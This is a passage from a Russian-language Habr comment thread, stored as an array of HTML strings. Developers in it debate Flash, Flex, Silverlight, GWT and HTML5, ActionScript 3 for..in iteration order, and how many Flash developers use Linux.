IDE</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не, это я спутал с 10.1, пардон. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">То есть «как нужно»? Есть документация к языку, в которой <a href=\"http://help.adobe.com/ru_RU/AS3LCR/Flash_10.0/statements.html#for..in\">написано</a> что в конструкции for..in свойства могут располагаться в любой последовательности. Слов о том, что в случае определения свойств в объекте внутри цикла возможны ошибки — нет.<br/>\r\n<br/>\r\nЯ всегда считал, что правильный код советуют писать сами разработчики — они знают как работает их технология, а по вашим словам человек который придет в разработку и не будет знать таких вещей, должен догадаться что это не правильно. К тому же вы говорите об этом куске кода, как отдельном. А если он внутри большого объема другого кода, понять что ошибка именно в этом, достаточно сложно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">в ваших терминах flex — инструментарий. Технология — flash.<br/>\r\n<br/>\r\nСерьезное преимущество у flash перед javascript на данный момент одно — однородная реализация на всем спектре поддерживаемых браузеров/устройств. <br/>\r\nЕсли говорить о преимуществах флекса над GWT (т.е. javascript/html), то это более продвинутые виджеты, скиннинг, более продвинутые средства (для) дизайна — немаловажный фактор для армии дизайнеров, который, почему-то, программисты в упор не замечают и предпочитают обходить стороной. Опять же, преимущества флекса, собственно говоря, проистекают в первую очередь из преимуществ флеша как платформы — однородность.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">дело тут, увы, немного в другом. <br/>\r\n<br/>\r\nТенденция рынка такова, что звание «устройства для интернета» плавно начинает переходит от PC к мобильным девайсам, iPad — планируемый катализатор.<br/>\r\nЕсли же посмотреть, какой браузер самый популярный на мобильных платформах, то с удивлением можно заметить, что это браузеры на движке webkit, которые используются смартфонами Apple, Google, Nokia (!). К этому можно добавить растущую долю safari и google chrome на десктопах, а так же мозиллу, с некоторой натяжкой (все же движок браузера собственный).<br/>\r\nВ итоге, через год-два, мы будем иметь один и тот же движок на > 90% мобильных устройствах и порядка 50% десктопов. Имхо, вполне достаточно, что бы начать отказываться от флеш-плеера, как технологии, которая позволяет задумке дизайнера выглядеть одинаково на всех браузерах.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В SL структура выглядит таким же способом. Только если несколько форм или usercontrol то отдельный файл разметки и кода. Но простите я указал, что разметка выше кода, это 3! проекта в одном, а ОДИН из них использует паттерн MVC, который подразумевает разбитие проекта на модель, вид и контроллер, даже во Flex.<br/>\r\n<br/>\r\n>Ни у кого из моих знакомых разработчиков (молчу про пользователей, которым даже не интересно) нет silverlight<br/>\r\nКак только человек попадет на сайт и его попросят, он установит. У меня не стоит Java, как и у тысячи людей, что ей от этого хуже? — Нет. Хотя вру Java у меня установлена ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Слов о том, что в случае определения свойств в объекте внутри цикла возможны ошибки — нет.<br/>\r\n</blockquote><br/>\r\n<br/>\r\nПрисваивать в цикле for..in — вообще нелогично. Как он прогоняет объект внутри себя — не кому не сказано. Выяснять — только эмпирическим путем. Разработчики в документации не обязаны объяснять каким образом идёт перебор (сначала в конец, с конца в начало или наобум). Предельно понятным будет перебор в цикле for. Либо ++, либо — Вообще только что проверил у себя на 2 версии языка — всё выводит правильно. Что вы делаете не так — мне неясно. Да, и у вас в коде — ошибка. Во второй версии языка нельзя в функции trace указывать передаваемые параметры через запятую — тут же вылезет error. Можно передавать только в массиве или как String. К примеру вот так:<br/>\r\ntrace(<b>[</b>prop, p[prop]<b>]</b>); или trace(prop+\", \"+p[prop]);<br/>\r\n<br/>\r\nЗначит вставляли вы его либо с 3 AS, либо вбивали вручную.<br/>\r\n<br/>\r\n<a href=\"https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg688.imageshack.us%2Fimg688%2F7766%2F43042194.png%22\">Скрин</a>.<br/>\r\n<br/>\r\n<blockquote>А если он внутри большого объема другого кода, понять что ошибка именно в этом, достаточно сложно.<br/>\r\n</blockquote><br/>\r\n<br/>\r\nНе соглашусь. Неужели код пишется так, чтобы оценить его результат можно было только тогда, когда уже написана не одна тысяча строк? </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>более продвинутые виджеты<br/>\r\nА можно поподробнее, чего такого есть особенного?<br/>\r\n<br/>\r\n>скиннинг<br/>\r\nИмеется в виду, возможность присвоить различные скины одному объекту?<br/>\r\nНеужели возможно нечто большее, чем возможно с css?<br/>\r\n<br/>\r\n>более продвинутые средства (для) дизайна<br/>\r\nЭто да, рисовать в flash ide приятно (cs1 я пользовал, кажися).<br/>\r\nЗато со стороны gwt — такая же армия html-верстальщиков и веб-технологов, так что спорно.<br/>\r\n<br/>\r\nПро однородность — да, понимаю о чём вы. Хотя как раз GWT компилирует переносимый (а где надо, раздельный) код, и особо париться об этом мне лично не приходилось.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я сразу сказал, что это AS3.<br/>\r\n<br/>\r\nА теперь возьмите изначальный код что я привел, и замените первую строку на<br/>\r\n<br/>\r\n<code>var p:Object = new Object()</code><br/>\r\n<br/>\r\nи проверьте еще раз.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да сколько угодно раз, разницы не вижу в определении объекта. Об этом в хэлпе пишут. Что new Object(), что {}, что new Array(), что []. <br/>\r\n<a href=\"https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg109.imageshack.us%2Fimg109%2F1124%2F49002573.png%22\">Скрин</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну и как я при заходе на соответствущий сайт поставлю Silverlight, если у меня не windoze?<br/>\r\n<br/>\r\nДа и признайте, что даже Java ставят очень и очень неохотно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Java никак не продвигается пользователям, много знают о JavaFX? MS выгодна, она как паровоз продвигает, тратит деньги на рекламу. <br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">A вот <a href=\"http://tinyurl.com/yky35fs\">здесь</a> на русском.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>Silverlight, если у меня не windoze<br/>\r\nДа ладно, Flash в некоторых местах глючит и в маках и линуксе.<br/>\r\n<br/>\r\nА если я скажу проще, что MS пофигу, если не грубее, на линукс, и все что с ним связано и что с вас (1%), как с воды. Что вы скажете? Ничего. Потому что вас мало, потому что SL ориентирован на бизнес в первую очередь, а там все равно на клиентскую ось, нужно винда, будет винда. В конце концов, у нас проблем больше, SL по x64 нету и не планируется и есть некоторые неудобства с этим.<br/>\r\nЯ просто так и не понял к чему все крики про линукс, если пользователей!(не админов, не прогаммистов) под линукс, как кот наплакал.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а) У меня чаще спрашивают «будет ли работать SEO», а жалобы на размер я уже давно слышу только от гиков. От «пользователей, никак не связанных с разработкой» — ни разу не слышал. Другое дело, что это касается Flash-приложений, а не баннеров, но для баннеров я и не видел, что кто-то юзает Flex SDK.<br/>\r\nб) Практически то же, что и а. Видели бы вы, какие пользователи выбирают шаблоны на TemplateMonster — они подтормаживают даже у меня. И ничего, сайты с ними вполне себе делают, а другие — смотрят и говорят «Сделайте мне такой же».<br/>\r\nв) Я против того, что вы называете version hell, поскольку с этим разработчики сталкиваются редко. Это все равно что жаловаться, что у Firefox постоянно выходят минорные релизы, или что Windows качает апдейты — в них же тоже что-то меняется, разве не так? Просто система сложная, вот и все. Но средний разработчик, как правило, этих изменений даже не замечает, так же, как и средний пользователь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня складывается ощущение что вы мои комментарии вообще не читаете. Я вам 2 раза повторил что это <b>Actionscript3</b> код, даже в статью изменения внес, а вы мне скриншоты с AS2 показываете. new Object() и {} как и new Array() и [] — разные объекты. Если бы я верил хэлпу, я бы таких ошибок не находил.<br/>\r\n<br/>\r\nПочитайте комментарии к этой записи раз не видите разницы: <a href=\"http://juick.com/develar/470233\">juick.com/develar/470233</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">a) Возможно у нас разные пользователи. Есть пользователи с плохим интернетом, я стараюсь думать и о них тоже.<br/>\r\nб) Выбирают их не пользователи а создатели. Большинство пользователей вообще негативно относятся к flash сайтам.<br/>\r\nв) Есть такая категория пользователей как корпоративные пользователи, которые делятся на 2 под категории — у кого администратор обновляет flash плеер до последней актуальной версии вне зависимости минорная или нет, и другая, когда новую версию ставят в случае когда Adobe рассылает бюллетень безопасности с предупреждением о закрытии важной дырки. Вы сейчас говорите с позиции «я этого не видел — значит этого нет», так бывает, и поверьте если вы с этим не сталкивались это очень хорошо.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вносит изменения в swf файл для возможности работы с памятью напрямую.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я понял в чем причина недопонимания. <br/>\r\n<br/>\r\n<blockquote>Это AS3. И вы изменили код.<br/>\r\n</blockquote><br/>\r\n<br/>\r\nЭто относилось к первой части моего первого коммента. За это извиняюсь.<br/>\r\n<br/>\r\nА в 3 AS:<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>new Object() и {} как и new Array() и [] — разные объекты</blockquote><br/>\r\n<br/>\r\nС этим да, согласен, а я всё про второй.<br/>\r\n<br/>\r\nМой любимый ctrl+enter.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, изменение байт кода. Нет не умеет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я рад что мы поняли друг друга :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Silverlight проектировался с учетом всех болячек и костылей Flash-а, а также производственных мозолей агонизирующих программистов на Flash, к которым ОП относится не понаслышке…<br/>\r\n<br/>\r\nУже сейчас возможности SL4 в разы больше еще только стандартизирующегося HTML5. И canvas, и video, и sockets, и web-services, и linq, и hardware acceleration, и динамическая подгрузка частей вашего приложения, и печать, и доступ к файловой системе, и isolated storage, и trusted приложения, и out-of-browser, и автоматическое обновление приложений — все это есть уже сейчас. Через годик mono подтянется, накроет оставшийся 1% рынка, и HTML5 в стадии рекомендации станет уже просто никому не нужным. <br/>\r\n<br/>\r\nКроме того, MS тесно сотрудничают с Apple, не удивлюсь, если Silverlight заработает на iPhone и iPad.<br/>\r\nМордочка Windows Mobile 7 уже на Silverlight написана (судя по слухам).<br/>\r\n<br/>\r\nC# 4.0 vs AS3/ECMAscript, CLR vs AVM/V8/etc., VS.NET vs FlashIDE/etc — тут Microsoft в отрыве лет на 5 от конкурентов.<br/>\r\n<br/>\r\nГлавная задача у Микрософта набрать критическую массу разработчиков под SL, чтобы началась повальная миграция на SL. <br/>\r\n<br/>\r\nИзвините, если оскорбил чьи-то чувства, это просто личный анализ ситуации. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не за что :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, во истину:)<br/>\r\n<br/>\r\nНо все равно как-то странно. Если вы проверяли в CS4 под 10 плеер — то это одна история, под неё не смотрел.<br/>\r\n<br/>\r\nУ меня он четыре раза выводит трейс. AS 3.0 =)<br/>\r\n<br/>\r\nНи о каких: a 2, a 1, с 1 не идёт речи.<br/>\r\nВыводит: a 1, c 1, a 2, b 1.<br/>\r\n<br/>\r\nНиже после первого цикла протрейсить без присваивания, — все показывает правильно. c1, a2, b1. Почему такой порядок — уж не знаю. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">+1 по всем пунктам :)<br/>\r\n<br/>\r\nМы дошли до главного — все-таки у нас разные пользователи. Поэтому, пожалуйста, не говорите за всю Flash-плафторму и всех разработчиков — у всех ситуация очень и очень разная. Я прогаю под стандарт AS3 и работаю только с фичами Flash 9, и не испытываю никаких затруднений из тех, которые есть в статье (особенно касабельно совместимости), клиенты — довольны.<br/>\r\n<br/>\r\nТакого рода статьи создают негативный имидж всей технологии, в то время как она всего лишь плохо применима в вашей конкретной задаче и в ваших конкретных условиях.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А в основе лежит всё тот же костыльный XAML… Впрочем в основе HTML5 тоже лежат костыли. Все эти XML, HTML и тд были разработаны для описания статических страниц.<br/>\r\nПоэтому особой революции SL не принесёт, хотя флеш и потеснит. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот вы немножко ситуацию не понимаете. Это процент — активнейшие члены сообщества разработчиков. Завоевать их признание — читай, обеспечить технологию кучей приложений.<br/>\r\n<br/>\r\nА не будет приложений — не будет пользователей.<br/>\r\n<br/>\r\nНе будет пользователей? не будет profit.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вообще сама идеология GWT костыльна, транслировать java код в javascript код да еще и потом склеивать всё это скотчем… Это скорее некая утилита помогающая быстренько что-то наклепать Java программисту, не залезая в незнакомую ему технологию.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>Это процент — активнейшие члены сообщества разработчиков<br/>\r\nзабыли дописать в конце, «под линукс» =)<br/>\r\n<br/>\r\nФлешеров много на линуксе сидит? Я вот сколько не спрашивал, все под win.<br/>\r\n<br/>\r\n>активнейшие члены сообщества разработчиков<br/>\r\nА те, кто деньги получает и делает коммерческие продукты, нет? :)<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Если вы проверяли в CS4 под 10 плеер<br/>\r\n<a href=\"http://gyazo.com/6dbd6c44a96ac257b1539edd31fda39a.png\">Именно</a>.<br/>\r\n<br/>\r\n> Ни о каких: a 2, a 1, с 1 не идёт речи.<br/>\r\nТак выводит debug плеер <br/>\r\n<br/>\r\n> Выводит: a 1, c 1, a 2, b 1.<br/>\r\nТак обычный плеер</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Убийца флеша? )))))<br/>\r\n<a href=\"http://sites.google.com/site/qtqmlbrowserplugin/home\">sites.google.com/site/qtqmlbrowserplugin/home</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну признайтесь, разработчики Flash не уделяют должного внимания и желания улучшить Flash плеер. Почитайте Скинера он очень хорошо об этом написал <a href=\"http://www.gskinner.com/blog/archives/2010/02/my_thoughts_on.html\">www.gskinner.com/blog/archives/2010/02/my_thoughts_on.html</a> </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну XAML никто не заставляет использовать. <br/>\r\n<br/>\r\nМожно по старинке — в конструкторе весь интерфейс кодом налепить :) Но это как бы уже немодно.<br/>\r\n<br/>\r\nСейчас модно, когда дизайнер свой файл мусолит, а разраб — свой… <br/>\r\n<br/>\r\nP.S. к XML у меня только одна притензия — в печенках сидит эскейпинг типо &amp;gt; &amp;lt; &amp;amp;…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Холиварить не буду, просто мысли вслух:<br/>\r\n1) практически у всех хабраюзеров стоят резалки флеша <br/>\r\n2) флеш жутко тормозит и этот факт признает автор <br/>\r\n3) также он признает, что разрабатывать flash приложения сложно из-за плохого IDE<br/>\r\n4) в итоге все проблемы флеша списали на головы разработчиков<br/>\r\n<br/>\r\nВ то же время Silverlight имеет хорошую IDE и маленькую распростаненность. Почему то и первый и второй пункт ставят в «минусы» данной технологии. Значит &lt;i&lt;очень маленькая распространенность flex должна быть какбы еще большим минусом. В то же время разработка приложений в блокноте также относят к «плюсам» флеша, но ведь и .net приложения можно в нем писать, вопрос — зачем? <br/>\r\n<br/>\r\nКак-то вот опять двойными стандартами пахнет… </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">1) Тут своеобразные люди.<br/>\r\n2) Мак и частично линукс или при кривом написании. Взгляните на плеер youtube или работы с thefwa.com там работы написаны хорошо.<br/>\r\n3) Есть FDT, Flash Develop и IDEA. Плохая IDE во Flash, во Flex IDE на базе Eclipse — так что к нему это не относится.<br/>\r\n4) Это не так. Во многом технология хорошая и полезная, я лишь описал те проблемы о которых замечают пользователи.<br/>\r\n<br/>\r\nЕсли вы считаете что flash плеер плох — удалите его совсем, если вы сможете без него активно серфить по интернету без желания установить, тогда стоит говорить что технология не нужна и плоха.<br/>\r\n<br/>\r\n<blockquote>В то же время разработка приложений в блокноте также относят к «плюсам» флешаВ то же время разработка приложений в блокноте также относят к «плюсам» флеша</blockquote><br/>\r\nВозможность разработки. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> А можно поподробнее, чего такого есть особенного?<br/>\r\nэто как бы больше с программной точки зрения, причем совместно с возможностью скиннинга<br/>\r\n<br/>\r\n> Имеется в виду, возможность присвоить различные скины одному объекту?<br/>\r\n> Неужели возможно нечто большее, чем возможно с css?<br/>\r\n<br/>\r\nскины во флексе — программный кусок кода. Можно сделать вообще все, что душа пожелает, при этом логика работы контролов от скинов отделена. Аналогом в HTML была бы отрисовка внешнего вида компонентов с помощью canvas api, но я не уверен, что это есть в каком либо js тулките. Аналог CSS для флекса тоже имеется, позволяет скинить скины (простите за каламбур) — т.е., например, передавать параметры в свой кастомный скин.<br/>\r\n<br/>\r\n> Это да, рисовать в flash ide приятно (cs1 я пользовал, кажися).<br/>\r\n> Зато со стороны gwt — такая же армия html-верстальщиков и веб-технологов, так что спорно. <br/>\r\n<br/>\r\nflash ide — немного не из той оперы. Аналогов «флешевым мультикам» в мире JS/HTML я пока не вижу, SVG это совсем не то.<br/>\r\n<br/>\r\nЧто бы не было путаницы — есть flash ide, (упрощая) — инструмент для дизайнеров, позволяющий «рисовать» векторные «мультики» и прикручивать скрипты на события/фреймы. И есть flash builder, бывший flex builder, который является полноценной средой разработки (на базе эклипса) для программистов. Оба эти инструмента на выходе дают swf файл, проигрываемый флеш плеером, но предназначение инструментов принципиально разное.<br/>\r\n<br/>\r\nДля флекса так же есть такая штука, пока что в бете, flash catalyst, которая позволяет в буквальном смысле нарисовать дизайн в фотошопе или иллюстраторе и перевести в работающий код, не прибегая к услугам программиста/технолога/etc. Подразумевается, что это упростит процесс разработки сайта/приложения, дизайнер рисует и генерирует костяк с работающим gui, программист дописывает логику и внутренности.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы пытаетесь сказать, что я не получаю денег и не делаю коммерческих продуктов? или что? :-D<br/>\r\n<br/>\r\nЯ пишу на Флексе под линуксом. FlexBuilder основан на Eclipse, что делает его кроссплатформенным. Разработчики и аниматоры на Флеше — это не одни и те же люди, уверяю вас.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В сильверлайте есть возможность рендерить плагин с прозрачностью еще с первой версии <a href=\"http://msdn.microsoft.com/en-us/library/cc838156\">msdn.microsoft.com/en-us/library/cc838156</a>(VS.95).aspx<br/>\r\n<br/>\r\nЕстественно производительность падает с этой включенной фичей, но на маках сильверлайт все равно так не тормозит. Ну и производительность сильверлайта в целом где то на 30 -50 процентов лучше. К примеру вот тест человек проводит <a href=\"http://www.shinedraw.com/mathematics/flash-vs-silverlight-fps-meter-stress-test/\">www.shinedraw.com/mathematics/flash-vs-silverlight-fps-meter-stress-test/</a> да и в инете полно других примеров.<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нет, вы просто утверждаете, что на линуксе элита :D. Так ставить вопрос вообще не корректно. Мы с вами давайте поговорим за большинство, раз вы любите такую тему, разработчиков под Flex/Flash больше на linux или win?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А при чем тут вообще Silverlight?!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Почитал. Статья суперская. Особенно мне понравилось вот это вот (приведу без перевода):<br/>\r\n<br/>\r\n«Yes, Flash player crashes. Yes, its performance could be better…<br/>\r\n<br/>\r\n[But] Try building a player that runs a huge range of dynamic content written on a variety of tools (some of which you don't control) by developers with massively varying skill levels. Now try making it compatible, consistent, and performant across dozens of OSes, browsers, platforms, and devices. And maintain backwards compatibility with the last 9 versions even while your target platforms change… And try to keep up with the demands of one of the most active and vocal developer communities.<br/>\r\n<br/>\r\nTrust me, it's harder than it sounds (and it sounds pretty damn hard to me).»<br/>\r\n<br/>\r\nЧерт, это все слишком сложно, чтобы это работало быстро, хорошо и без глюков :)<br/>\r\n<br/>\r\nЗнаю, что говорю, поскольку сам развиваю Fuzzle CMS (cms для flash-сайтов). Мне поступает уйма предложений по усовершенствованию — одному срочно нужна одна фича, другому — срочно другая + часть меня терзает на тему скорости и совместимости + есть необходимость в развитии модулей + постоянная головная боль на тему совместимости версий.<br/>\r\n<br/>\r\nТак что я бы скорее сказал, что я удивлен, что Windows и Flash Player вообще работают :))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это было к коментарию janvarev и к этим строкам:<br/>\r\n«Во-вторых, ряд фанатов использует на своих сайтах wmode=«transparent», что означает, что анимация флешки должна проигрываться с учетом слоев браузера (и его фона, кстати). Представляете, какая это нагрузка на систему рендеринга? Silverlight, думаю, такого не позволяет — а если бы и позволял, то тормозил бы не хуже. Отрубить это безобразие — и все залетает.»<br/>\r\n<br/>\r\nСорри забыл вставить в комментарий.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну почему же? Не совсем.<br/>\r\n<br/>\r\nЯ просто говорю, что среди пользователей Линукса очень много высококвалифицированных разработчиков, если не большинство. И опросы на Хабре показывают, что в усредненной тусовке айтишников будет по крайней мере половина пользователей Линукса (могу даже ссылку на опрос привести). <br/>\r\n<br/>\r\nПро доли разработчиков на Флексе я просто-напросто не знаю. Флеша в смысле анимации, сами понимаете, быть не может. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>new Object() и {} как и new Array() и [] — разные объекты</blockquote><br/>\r\nПросветите, пожалуйста, в чем разница?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>что среди пользователей Линукса очень много высококвалифицированных разработчиков, если не большинство. <br/>\r\nесли не 99% =)<br/>\r\n<br/>\r\n>могу даже ссылку на опрос привести<br/>\r\nне нужно, это прекрасно заметно по рейтингам статей, которые я здесь размещаю, и у меня складывается впечатление, что большинство линуксоидов, эдакие паразиты, не дающие развиваться другим. Их цель, найти и уничтожить другие технологии, которые не open source. Не смотря на то, что разрабатываю на php и сревера на linux, я не веду себя, как отморозок и уважаю другие технологии.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В принципе {} является самым базовым объектом. Если взглянуть на push code <a href=\"http://gyazo.com/240a905769bcfbf66e026a5531a38eb0.png\">как создаются</a> объекты видно разницу, а если судить по ситуации с изменением переменных в цикле — Object более высокоуровневый чем {}. Именно благодаря этому скорость создания {} выше чем у Object.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я сейчас активно пользуюсь flash builder 4 beta 2 тот же flex builder 3 только с поддержкой sdk4 и более отзывчивым редактором.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Про <a href=\"http://www.adobe.com/products/air/\">adobe air</a> слышали? фактически так же виртуальная машина но расширена функциями доступа к ресурсам системы. Браузера не требует.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Почему же? Вполне нормальная технология, со своими недостатками и преимуществами. То, что вы называете костыльностью, вполне возможно наоборот является попыткой преодолеть недостатки Javascript для создания и поддержки сложных приложений. Т.е. статически типизованная Java проигрывает в гибкости, но позволяет выигрывать в организованности.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Открою тайну, через некоторое время, я покажу один проект который хоть и не является конкурентом Flex, но позволяет реализовать большую часть его возможностей в маленьких и средних проектах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Насчёт тормознутости Flash'а.<br/>\r\nТут кто-то уже говорил про систему частиц в баннере.<br/>\r\n<br/>\r\nМожно сделать stage.graphics.clear каждый кадр, заново рисовать Sprite'ы и цеплять таймер на каждую частицу. В инете таких примеров миллион.<br/>\r\n<br/>\r\nА можно использовать bitmapData, lock и copyPixels.<br/>\r\n<br/>\r\nМежду подходами разница по скорости в десятки раз, только ну кому надо баннер оптимизировать? Работает и ладно. Да и не знают в большинстве случаев об этом. Даже о cacheAsBitmap не знают.<br/>\r\n<br/>\r\nТак что тормоза эти за счёт лени и кривых рук. Ну и отчасти заказчиков которые хотят чтоб реклама вся светилась и вращалась.<br/>\r\n<br/>\r\nMachinarium разве тормозит? )</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы просто по-разному округлили цифру 89,26500529874242 %.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне понравились риторические вопросы в статье:-)<br/>\r\n«Почему все приложение на flash такие тяжелые?». То есть автор не спрашивает на самом деле, а утверждает, что ВСЕ, ТЯЖЕЛЫЕ. Здесь автору стоит знать, что откомпилированный swf файл имеет размер, сравнимый а вероятно даже МЕНЬШИЙ, чем тот-же объем кода на javascript в UTF-8. Готов доказать.<br/>\r\n<br/>\r\nДалее интереснее.<br/>\r\nПочему все так жутко тормозит и глючит, баннеры отжирают по 90% CPU?<br/>\r\nНикто не интерисуется, просто скромно утверждается что ВСЕ, ТОРМОЗИТ!<br/>\r\nНа самом деле все просто. Возьмите любой тормозящий банер на flash… и сделаете его на javascript или на html 5 или на чем-то, что поддерживается 95% пользователей. Элементарно. Расскажите о результатах.<br/>\r\n<br/>\r\nДалее нет времени разбирать, но здравомыслящий читатель и так все поймет.<br/>\r\n<br/>\r\nРезюмируя — статья не объективна. Говоря другими словами — заведомо написана с целью очернения flash.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Здесь автору стоит знать, что откомпилированный swf файл имеет размер...</blockquote><br/>\r\nАвтор прекрасно знает про байткоди про LZW компрессию.<br/>\r\n<br/>\r\nСтатья бъективна чуть менее чем полностью. Я flash разработчик уже более 6 лет и в общем пишу до сих пор. Я писал ответы на распространенные вопросы, <b>обычных</b> пользователей, о чем говорил выше в комментариях. И почитайте мои комментарии, вы поймете в чем суть статьи ну и возможно разубедитесь в том что я мало знаю о flash.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Почему вы называете XAML костыльным?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Знаете — совсем не хочется пробовать. Это всё равно имплантанты, которые были придуманы из-за браузерных тормозов. Сейчас всё вроде налаживается — новые технологии, API и всё нативно, безо всяких машин и дырок в безопасности.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«Отморозок»? Open source?<br/>\r\n<br/>\r\nА что, кому-то хуже стало от появления на рынке открытых технологий? вот вам? </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поскольку мои утверждения указывают на необъективность статьи, предлагаю вам их опровергнуть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нет, это отлично, но это не значит, что open source должно заменить все, что и пропагандируют многие «спецы». Всему свое место, и без денег даже open source загнется, потому что в многие проекты вкладывают деньги корпорации.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Какой s переменной?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Насчет тормозов Мака и Линукса — думаю, виноваты разработчики этих систем. Вместо того, чтобы дать нормальные интерфейсы для вывода видео/аудио (типа DirectX), они понаставили всяких X-серверов, OpenGL, все это сложно, постоянно меняются спецификации, я вообще удивлен что в Линуксе работает звук и видео.<br/>\r\n<br/>\r\nА вообще, по-хорошему, мультимедиа-программы должны иметь максимально прямой доступ к железу, чтобы все данные шли напрямик, без лишних переключений контекста и копирований данных (ибо копирование областей памяти — одна из самых неэффективных операций, никакие кеши не спасают, жаль разработчики меня не слышат).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На недавней презентации Джобс сказал что из аппстора загрузили 3 миллиарда приложений.<br/>\r\nОк, если 10% из них были платными, итого 300 миллионов платных приложений. При минимальной цене в .99$ (а средняя значительно выше), это вполне прилично.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не след виндо-троллям про другие системы квакать…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Чувствую разработчики RuTube-плеера «выгребут» от руководства :-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> К тому же их развитие в компании Adobe остановилось еще во времена CS2.<br/>\r\nАсь?<br/>\r\nВо времена CS2 известная киргизская строительная контора еще не успела захавать макромедию.<br/>\r\nКорректнее было бы «во времена Studio 8» :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">со всем готов смирится, кроме одного. Не знаю как у кого, но даже самая последняя версия флеш-плеера не позволяет вводить utf-8 символы (у меня убунту 9.10)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">вы, по ходу, не «железячник» раз закидываете такими кричащими тезисами)) Сделайте напрямую.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нет, не правильно. Но теперь as3 из проекта от Flash Prof. CS5 можно будет редактировать и пр. во Flash Builder IDE. А потом передавать команду на запуск во Flash Prof.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так же, как VS -> Expression Studio, и обратно? Спасибо, буду знать!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На хабре покажите? Или как отследить публичный показ?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тут все просто. Автор недавно попробовал QML, в котором есть динамика в виде аналога jscript, и теперь на HTML смотрит <s>как на г#вно</s> критически :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ни разу не сталкивался с VS, посему не в курсе. Подробнее о чем я говорил <a 